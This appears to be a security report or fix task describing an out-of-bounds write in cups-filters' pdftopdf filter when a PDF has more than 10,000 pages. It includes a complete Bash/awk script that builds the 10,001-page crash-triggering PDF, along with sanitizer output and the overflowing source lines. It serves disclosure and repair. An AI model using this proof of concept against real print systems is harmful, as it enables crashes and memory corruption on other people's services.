pdftopdf: more than 10,000 output pages corrupt fixed scheduler state

Summary

cfFilterPDFToPDF() schedules pages into a fixed outpages[10000] array
without enforcing that capacity. A valid 10,001-page PDF writes PDF pointers
into the fields following the array and then uses the corrupted layout count
for further out-of-bounds accesses.

The document alone reaches the normal standalone pdftopdf filter. No
malformed object, large input file, fuzzing harness, or source modification is
required.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.

Validated revisions:

• cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
• libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
• libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d

poc/document.pdf is a 1,368,270-byte PDF with 10,001 distinct Page objects
and one shared empty content stream. Its SHA-256 is
d0af40cbf59f309ee9565f249b69fd39b22cd6fd7e7fbdb5743f35695e05f93b.
Poppler pdfinfo parses it as PDF 1.4 with exactly 10,001 pages and no syntax
warning.

Run:

./reproduce.sh

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: pdftopdf: more than 10,000 output pages corrupt fixed scheduler state
# Finding ID: pdftopdf-output-page-array-overflow
# Trigger: cfFilterPDFToPDF() schedules pages into a fixed outpages[10000]
# array without enforcing that capacity. A valid 10,001-page PDF writes PDF
# pointers into the fields following the array and then uses the corrupted
# layout count for further out-of-bounds accesses.
#
# Build a valid 10,001-page PDF. Objects 3..10003 are pages and all reference
# one empty content stream. The xref offsets are calculated while constructing
# the file, so no prebuilt binary attachment is needed.

OUTPUT_DIR="${1:-poc}"
OUTPUT="$OUTPUT_DIR/document.pdf"
EXPECTED_SHA256="d0af40cbf59f309ee9565f249b69fd39b22cd6fd7e7fbdb5743f35695e05f93b"
mkdir -p "$OUTPUT_DIR"

LC_ALL=C awk -v pages=10001 '
function add(s) { doc = doc s }
BEGIN {
  add("%PDF-1.4\n%" sprintf("%c%c%c%c", 226, 227, 207, 211) "\n")
  offsets[1] = length(doc)
  add("1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n")
  offsets[2] = length(doc)
  kids = "2 0 obj\n<< /Type /Pages /Kids ["
  for (object = 3; object <= pages + 2; object++) {
    kids = kids object " 0 R"
    if (object < pages + 2) kids = kids " "
  }
  add(kids "] /Count " pages " >>\nendobj\n")
  for (object = 3; object <= pages + 2; object++) {
    offsets[object] = length(doc)
    add(object " 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox "         "[0 0 72 72] /Resources <<>> /Contents " (pages + 3)         " 0 R >>\nendobj\n")
  }
  object = pages + 3
  offsets[object] = length(doc)
  add(object " 0 obj\n<< /Length 0 >>\nstream\n\nendstream\nendobj\n")
  xref = length(doc)
  add("xref\n0 " (object + 1) "\n0000000000 65535 f \n")
  for (i = 1; i <= object; i++)
    add(sprintf("%010d 00000 n \n", offsets[i]))
  add("trailer\n<< /Size " (object + 1) " /Root 1 0 R >>\n"       "startxref\n" xref "\n%%EOF\n")
  printf "%s", doc
}' > "$OUTPUT"

ACTUAL_SHA256="$(sha256sum "$OUTPUT")"
ACTUAL_SHA256="${ACTUAL_SHA256%% *}"
[[ "$ACTUAL_SHA256" == "$EXPECTED_SHA256" ]] || {
  printf 'SHA-256 mismatch for %s\n' "$OUTPUT" >&2
  exit 1
}
printf '%s  %s bytes  sha256=%s\n'   "$OUTPUT" "$(wc -c < "$OUTPUT")" "$ACTUAL_SHA256"

Result

UBSan first reports indexing beyond the 16-entry input array during output.
ASan then observes corrupted control state and terminates on a near-null
indirect access. The non-sanitized build exits with SIGSEGV, status 139.

The first corrupting operations are pdftopdf.c:819-820, before the reported
failure:

outpage->pdf           = p->pdf;
outpage->input[layout] = pdfioFileGetPage(...);

Cause and expected behavior

xform_prepare_t embeds xform_page_t outpages[XFORM_MAX_PAGES], where
XFORM_MAX_PAGES is 10,000. The normal scheduling loop advances outpage
each time one output page is filled but never compares it with the array end
(pdftopdf.c:808-831).

For output page 10,001, outpage->pdf overwrites the following
p->num_layout field and outpage->input[0] begins overwriting
p->layout. The output loop later trusts the pointer-derived num_layout.
The filter must reject excessive page cardinality or use a checked dynamic
container before writing any scheduled page.

Start with pdftopdf.c:808-831, especially the writes at lines 819-820, and inspect how xform_prepare_t stores outpages and layout state. Run reproduce.sh with poc/document.pdf under UBSan or ASan, then compare behavior with the control input. Done means a valid PDF exceeding 10,000 output pages is rejected or handled without out-of-bounds access, corrupted state, or a crash.